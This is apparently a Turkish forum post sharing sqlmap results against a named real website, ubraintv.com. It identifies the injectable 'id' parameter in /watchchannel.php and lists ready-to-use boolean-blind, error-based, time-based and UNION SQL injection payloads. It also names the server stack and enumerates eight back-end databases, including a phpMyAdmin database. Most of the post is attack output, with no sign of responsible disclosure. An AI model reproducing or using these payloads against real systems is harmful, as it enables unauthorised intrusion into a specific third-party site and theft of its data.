United Brain Networks TV SQLMap Sonuçları

United Brain Networks TV SQLMap Sonuçları

Vulnerable WebSite : ubraintv.com

Vulnerable File : /watchchannel.php?id=[SQL Injection]

sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: id (GET)

Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1' AND 2033=2033 AND 'Kcmx'='Kcmx

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1' AND (SELECT 7245 FROM(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT
(ELT(7245=7245,1))),0x71767a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a) AND 'QtFw'='QtFw

Type: time-based blind

Title: MySQL >= 5.0.12 RLIKE time-based blind (comment)

Payload: id=1' RLIKE SLEEP(5)#

Type: UNION query

Title: MySQL UNION query (NULL) - 7 columns

Payload: id=1' UNION ALL SELECT NULL,CONCAT
(0x7176786a71,0x6f4472516c4a55754d76516448574f4b4e7763684f6f777358556b67646c564576534d6c7464664e,
0x71767a7a71),NULL,NULL,NULL,NULL,NULL#
---
web server operating system:
Linux
web application technology: Apache, PHP, Plesk
back-end
DBMS: MySQL >= 5.0
available databases
[8]:
[*]apsc
[*]horde
[*]information_schema
[*]mysql
[*]
phpmyadmin_38Dqey2QMmW9
[*]psa
[*]sitebuilder5
[*]ubraintv

teşekürler

Teşekkürler.